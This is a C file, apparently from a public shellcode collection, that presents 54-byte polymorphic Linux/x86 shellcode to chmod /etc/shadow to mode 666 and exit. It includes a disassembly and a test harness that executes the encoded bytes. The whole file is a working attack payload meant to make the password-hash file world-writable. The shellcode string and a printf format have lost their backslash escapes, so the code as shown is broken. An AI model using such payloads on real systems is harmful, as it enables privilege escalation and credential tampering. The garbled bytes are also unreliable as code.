/*
Title	: Linux/x86 - Shellcode Polymorphic chmod("/etc/shadow",666) & exit() - 54 bytes
Encode  : _ADD

Author	: Jonathan Salwan
Mail	: submit [!] shell-storm.org


! Database of shellcodes => http://www.shell-storm.org/shellcode/


Informations  _chmod() & _exit():
================================
	
	%eax = 15
   	%ebx = /etc/shadow
   	%ecx = 666

        %eax = 1
        %ebx = 0

Disassembly of section .text:

 08048054 <.text>:
 8048054:	51                   	push   %ecx
 8048055:	66 b9 b6 01          	mov    $0x1b6,%cx
 8048059:	68 61 64 6f 77       	push   $0x776f6461
 804805e:	68 63 2f 73 68       	push   $0x68732f63
 8048063:	68 2f 2f 65 74       	push   $0x74652f2f
 8048068:	89 e3                	mov    %esp,%ebx
 804806a:	6a 0f                	push   $0xf
 804806c:	58                   	pop    %eax
 804806d:	cd 80                	int    $0x80
 804806f:	40                   	inc    %eax
 8048070:	cd 80                	int    $0x80

*/


#include "stdio.h"

char shellcode[] = 	"xebx11x5ex31xc9xb1x30x80"
			"x6cx0exffx23x80xe9x01x75"
  			"xf6xebx05xe8xeaxffxffxff"
			"x74x89xdcxd9x24x8bx84x87"
			"x92x9ax8bx86x52x96x8bx8b"
			"x52x52x88x97xacx06x8dx32"
			"x7bxf0xa3x63xf0xa3";

int main()
{
	printf("Length: %dn",strlen(shellcode));
	(*(void(*)()) shellcode)();
	
	return 0;
}

// www.Syue.com [2009-06-22]